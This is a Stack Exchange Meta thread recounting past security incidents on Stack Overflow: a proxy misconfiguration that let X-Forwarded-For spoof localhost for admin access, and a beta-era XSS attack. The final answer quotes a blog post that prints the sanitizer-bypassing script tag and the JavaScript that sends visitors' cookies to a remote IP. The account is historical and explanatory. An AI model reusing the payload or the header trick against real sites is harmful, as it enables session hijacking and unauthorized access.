69

While chatting with friends about hacking, a guy said that "if a site is getting popular/ or any competitive, it will somehow face severe hacks. Some used to expose it, others hide it".

Out of curiosity I wanted to see if any such thing happened to Stack Overflow. Since Stack Exchange (being 5 years old) is the biggest network among professionals with more visitors, I started googling to find whether or not any hacks happened here. But I couldn't find such stories.

Though this question appears pretty non-constructive/off-topic, I would like to know if any hack has ever been attempted or exposed? Without having SSL, how are they maintaining/preventing hacks?

  • 83
    Jon Skeet hacked the site on day one, and we're living with it since. – Frédéric Hamidi Sep 18 '13 at 9:35
  • 32
    In actual fact, the site started out as a place for Unicorn lovers to gather some 5 and a half years ago. This site got hacked and was "infected" with what we now refer to as a Q&A. It has never recovered. – Bart Sep 18 '13 at 9:44
  • 1
    or did the site hack Jon Skeet to get his awesomeness? – user234239 Sep 18 '13 at 9:49
  • 5
    @UV-D, Jon Skeet cannot be hacked. – Frédéric Hamidi Sep 18 '13 at 9:52
  • @FrédéricHamidi oh yes, I forgot - maybe one of his clones or minions? – user234239 Sep 18 '13 at 9:53
  • 7
    In terms of someone getting admin access, in addition to ircmaxwell's post mentioned below there was Jeff's "I Just Logged In as You" incident. There have also been some XSS exploits, such as this this one the beta (10k only), and several others since. I've seen a couple less severe security vulnerabilities too. (Also during the beta, the lack of rate limiting was abused to mass-delete posts as "spam".) Fortunately, folks have been mostly-responsible about their findings. – Guest Sep 18 '13 at 14:01
  • 2
    Loosely related: Implement the Hacker Badge – Guest Sep 18 '13 at 14:05
  • 10
    I hack Stack Overflow for a living, does it count? – Sklivvz Apr 15 '14 at 9:40
  • It should be hacked without mercy. – cj5 Jul 9 '14 at 20:04
  • Bwaaaahahahaha @Bart dies laughing – Dawn Deschain May 19 '15 at 22:32
  • If they did they should have gone a lot further – Peter David Carter Mar 8 '18 at 21:33
67

Yes, ircmaxell hacked Stack Overflow once, although not intentionally.

Here's an excerpt from his follow up blog post, Anatomy of an Attack: How I Hacked StackOverflow:

The Vulnerability

If you're clever, you should be able to figure out what happened. But in case you didn't, here's how it went down. When I had my connection proxied through Squid, it added a X-Forwarded-For header. The value of this header was the IP of my source browser which made the request. But because of the SSH tunnel, the IP was localhost. To Squid, there was no difference between my browser and local. So it added X-Forwarded-For: 127.0.0.1...

The really interesting part was what ASP was reporting. When they configured a page which would dump the raw request headers, my requests came through as Remote_Addr: 127.0.0.1!!! In their application, they were checking the correct header value. But IIS was misconfigured to rewrite Remote_Addr from X-Forwarded-For if it existed. So thanks to a misconfiguration, I was able to get admin access as easily as using my proxy.

As for larger scale attacks, Nick Craver's answer on a related question seems to suggest SE is ready to deal with them. Also, SE's Sys-Admin team seems to be perfectly equipped for a wide variety of attacks, including a zombie apocalypse.

Now, if only we could find a way to end this (eternal) September...

  • 38
    For the record, based on how the SO team dealt with the vulnerability when I reported it to them, I have to say that I fully believe that they are more than ready and capable of handling any issue that happens. Seriously, they were that good with it... – ircmaxell Sep 18 '13 at 12:26
  • 9
    @ircmaxell but you have major part in the good ending. Imagine someone... less responsible than yourself. He could cause major damage before a dev would have figured out what was going on. By the way, did you request a hacker badge? You surely deserve it! – Shadow Wizard Nov 25 '13 at 8:33
  • 9
    @ShaWizDowArd: Fair enough. But I've reported a number of vulnerabilities to projects and sites alike, and SO's response was BY FAR the fastest, most professional and most complete. As far as requesting the hacker badge, nah. I'd love it. But I think that's the sort of thing that needs to be given, not asked for... – ircmaxell Nov 25 '13 at 13:54
27

In addition to the other excellent answers, there’s also a Stack Exchange Hall of Fame where security researchers who responsibly disclosed a vulnerability to the site administrators get credited.

27

Shawn dropped an XSS attack waaaay back when the site was still in beta.

He managed to log in as Jeff Atwood (one of the site's co-founders) and run a script which upvoted EVERY post on the site IIRC. He re-ran the script the next day to downvote every post as well.

In his defence, the site was in beta so we were all supposed to be trying to break it. You can hear Jeff speak about this at 36:50 of SO Podcast #37

Jeff also wrote a blog post about the details of the exploit and the fix:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

<img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. Here's what that JavaScript looks like:

window.location="http://1.2.3.4:81/r.php?u="+document.links[1].text+"&l="+document.links[1]+"&c="+document.cookie;

That's right -- whoever loads this script-injected user profile page has just unwittingly transmitted their browser cookies to an evil remote server!

  • 2
    Shawn has also mentioned in his profile. – Praveen Nov 25 '13 at 4:31

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .